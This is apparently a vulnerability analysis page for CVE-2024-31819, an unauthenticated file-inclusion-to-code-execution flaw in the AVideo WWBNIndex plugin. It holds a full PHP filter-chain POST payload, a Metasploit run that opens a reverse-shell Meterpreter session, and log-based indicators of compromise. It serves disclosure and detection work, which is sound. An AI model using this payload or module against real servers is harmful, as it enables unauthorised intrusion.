Description

An issue in WWBN AVideo v.12.4 through v.14.2 allows a remote attacker to execute arbitrary code via the systemRootPath parameter of the submitIndex.php component.

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jheysel-r7 (166)

May 22, 2024 1:42pm UTC (5 months ago)

Ratings

Attacker Value

High

Exploitability

High

Easy to weaponize Unauthenticated

Technical Analysis

WWNB AVideo is a versatile and advanced video streaming platform tailored for individual content creators, businesses, and developers alike. Versions v.12.4 through v.14.2 which have the WWNBIndex Plugin installed suffer from a Local File Inclusion vulnerability which can be used to obtain Remote Code Execution through the use of PHP Filter Chaining. For those unfamiliar with PHP Filter Chaining please reference the previous link or the AKB article for CVE-2023-6553 which goes into more detail of how the technique works.

The vulnerable line of code lives on line 6 of /AVideo/plugin/WWBNIndex/submitIndex.php:

The unfiltered POST request parameter systemRootPath gets directly used in a require_once statement which is normally just an LFI but by leveraging PHP Filter Chaining it can be turned into RCE. The vulnerable code can be accessed without authentication by hitting the following endpoint: <target_uri.path>/plugin/WWBNIndex/submitIndex.php/.

PoC

The following POST request can be used to execute code on a vulnerable system. The POST request executes the following command: ping 172.16.199.1 which is the IP address of my host machine.

POST /AVideo/plugin/WWBNIndex/submitIndex.php HTTP/1.1
Host: 172.16.199.131
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 11884

systemRootPath=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SH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With tcpdump running in a separate terminal we can see ICMP requests start coming from example.com which is 172.16.199.131

➜  metasploit-framework git:(upstream-master) ✗ sudo tcpdump -i any icmp
Password:
tcpdump: data link type PKTAP
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on any, link-type PKTAP (Apple DLT_PKTAP), snapshot length 524288 bytes
08:49:08.893463 IP example.com > 172.16.199.1: ICMP echo request, id 1, seq 164, length 64
08:49:08.893468 IP example.com > 172.16.199.1: ICMP echo request, id 1, seq 164, length 64
08:49:08.893494 IP 172.16.199.1 > example.com: ICMP echo reply, id 1, seq 164, length 64
08:49:08.893496 IP 172.16.199.1 > example.com: ICMP echo reply, id 1, seq 164, length 64
08:49:09.917575 IP example.com > 172.16.199.1: ICMP echo request, id 1, seq 165, length 64
08:49:09.917579 IP example.com > 172.16.199.1: ICMP echo request, id 1, seq 165, length 64

Metasploit Module Demo

The Metasploit Module has three separate targets which can be exploited:

msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > show targets

Exploit targets:
=================

    Id  Name
    --  ----
    0   Automatic
=>  1   PHP In-Memory
    2   Unix In-Memory
    3   Windows In-Memory

We we use the PHP In-Memory target for this demonstration which will allow us to get a PHP Meterpreter session on the target executing in the context of the user running the application which in this case will be www-data:

msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > set target 1
target => 1
msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected vulnerable AVideo version: 12.4, with vulnerable plugin WWBNIndex running.
[*] Sending stage (39927 bytes) to 172.16.199.131
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.131:45702) at 2024-05-22 09:38:12 -0400

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer    : msfuser-virtual-machine
OS          : Linux msfuser-virtual-machine 6.2.0-35-generic #35~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Oct  6 10:23:26 UTC 2 x86_64
Meterpreter : php/linux
meterpreter >

IoCs

The Wiki instructs users to install using a LAMP environment which means IoCs are most likely going to be found in the /var/log/apache2 directory. I would suggest running the following grep command:

msfuser@msfuser-virtual-machine:/var/log$ grep -r "plugin/WWBNIndex/submitIndex.php" ./
grep: ./boot.log: Permission denied
grep: ./vmware-vmtoolsd-root.log: Permission denied
grep: ./vmware-vmsvc-root.2.log: Permission denied
grep: ./btmp: Permission denied
grep: ./private: Permission denied
grep: ./gdm3: Permission denied
./apache2/access.log:172.16.199.1 - - [22/May/2024:05:46:22 -0700] "GET /AVideo/plugin/WWBNIndex/submitIndex.php HTTP/1.1" 200 963 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36"
./apache2/access.log:172.16.199.1 - - [22/May/2024:05:49:19 -0700] "GET /AVideo/plugin/WWBNIndex/submitIndex.php HTTP/1.1" 200 963 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36"
./apache2/error.log.1:[Tue May 21 11:19:15.787030 2024] [php:warn] [pid 13160] [client 172.16.199.1:58523] PHP Warning:  Undefined array key "systemRootPath" in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6
./apache2/error.log.1:[Tue May 21 11:19:15.787365 2024] [php:warn] [pid 13160] [client 172.16.199.1:58523] PHP Warning:  require_once(plugin/WWBNIndex/WWBNIndex.php): Failed to open stream: No such file or directory in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6
./apache2/error.log.1:[Tue May 21 11:19:15.787387 2024] [php:error] [pid 13160] [client 172.16.199.1:58523] PHP Fatal error:  Uncaught Error: Failed opening required 'plugin/WWBNIndex/WWBNIndex.php' (include_path='.:/usr/share/php') in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php:6\nStack trace:\n#0 {main}\n  thrown in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6
./apache2/error.log:[Wed May 22 05:46:22.086098 2024] [php:warn] [pid 14828] [client 172.16.199.1:49163] PHP Warning:  Undefined array key "systemRootPath" in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6
./apache2/error.log:[Wed May 22 05:46:22.086170 2024] [php:warn] [pid 14828] [client 172.16.199.1:49163] PHP Warning:  require_once(plugin/WWBNIndex/WWBNIndex.php): Failed to open stream: No such file or directory in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6
./apache2/error.log:[Wed May 22 05:46:22.086186 2024] [php:error] [pid 14828] [client 172.16.199.1:49163] PHP Fatal error:  Uncaught Error: Failed opening required 'plugin/WWBNIndex/WWBNIndex.php' (include_path='.:/usr/share/php') in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php:6\nStack trace:\n#0 {main}\n  thrown in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6
./apache2/error.log:[Wed May 22 05:49:19.874976 2024] [php:warn] [pid 14825] [client 172.16.199.1:49220] PHP Warning:  Undefined array key "systemRootPath" in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6
./apache2/error.log:[Wed May 22 05:49:19.875069 2024] [php:warn] [pid 14825] [client 172.16.199.1:49220] PHP Warning:  require_once(plugin/WWBNIndex/WWBNIndex.php): Failed to open stream: No such file or directory in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6
./apache2/error.log:[Wed May 22 05:49:19.875100 2024] [php:error] [pid 14825] [client 172.16.199.1:49220] PHP Fatal error:  Uncaught Error: Failed opening required 'plugin/WWBNIndex/WWBNIndex.php' (include_path='.:/usr/share/php') in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php:6\nStack trace:\n#0 {main}\n  thrown in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6
./apache2/access.log.1:172.16.199.1 - - [21/May/2024:11:19:15 -0700] "GET /AVideo/plugin/WWBNIndex/submitIndex.php HTTP/1.1" 200 963 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36"
./apache2/access.log.1:172.16.199.1 - - [21/May/2024:11:19:15 -0700] "POST /AVideo/plugin/WWBNIndex/submitIndex.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36"

Pay close attention to the apache error.log. This line indicates an attacker could have attempted to exploit the vulnerability but attempted to run a command that failed and thus the vulnerable require statement on line 6 of submitIndex.php that facilitates the RCE also failed:
./apache2/error.log.1:[Tue May 21 11:19:15.787387 2024] [php:error] [pid 13160] [client 172.16.199.1:58523] PHP Fatal error: Uncaught Error: Failed opening required 'plugin/WWBNIndex/WWBNIndex.php' (include_path='.:/usr/share/php') in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php:6\nStack trace:\n#0 {main}\n thrown in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6

Also pay close attention to the apache access.log. This line indicates an attacker could have attempted to access the vulnerability:
./apache2/access.log:172.16.199.1 - - [22/May/2024:05:49:19 -0700] "GET /AVideo/plugin/WWBNIndex/submitIndex.php HTTP/1.1" 200 963 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36"

Note that the presence of both of the log lines highlighted above do not necessarily indicate the system has been compromised, they could be from normal operation. However on a compromised system, if an attacker did not clean up after themselves (delete those log files) it’s very likely traces like the ones mentioned above would be present.

Obtaining a Vulnerable version

The WWBNIndex Plugin is installed by default on the most recent patched versions. There is only one affected release (12.4) available for downloadon the official GitHub page and the vulnerable plugin does not exist in this release. The original exploit author doesn’t mention having to install the vulnerable plugin in order for the application to be vulnerable, they mention:

This particular vulnerability lies within the WWBNIndex plugin — a crucial component for the platform’s functionality

It seems as though all vulnerable versions have been removed from the GitHub release section. If you want to install a vulnerable version, please checkout the following branch on the AVideo GitHub page and install the application from there.

Attacker Value and Exploitability

I gave this vulnerability the Attacker Value and Exploitability values I did because of the unauthenticated unprivileged access it gives to an attacker. Also because of how easy the vulnerability is to exploit and for how reliable the exploit is.

CVSS V3 Severity and Metrics

Data provided by the National Vulnerability Database (NVD)

Base Score:

None

Impact Score:

Unknown

Exploitability Score:

Unknown

Vector:

Unknown

Attack Vector (AV):

Unknown

Attack Complexity (AC):

Unknown

Privileges Required (PR):

Unknown

User Interaction (UI):

Unknown

Scope (S):

Unknown

Confidentiality (C):

Unknown

Integrity (I):

Unknown

Availability (A):

Unknown

Metasploit Modules

exploit/multi/http/avideo_wwbnindex_unauth_rce (https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/avideo_wwbnindex_unauth_rce.rb)

References

Canonical

CVE-2024-31819 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-31819)

Miscellaneous

https://github.com/WWBN/

https://github.com/WWBN/AVideo

https://github.com/Chocapikk/CVE-2024-31819

https://chocapikk.com/posts/2024/cve-2024-31819/

Rapid7

High

CVE-2024-31819

High

High

Unknown

Unknown

Unknown

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High

CVE-2024-31819

High

High

Unknown

Unknown

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CVE-2024-31819

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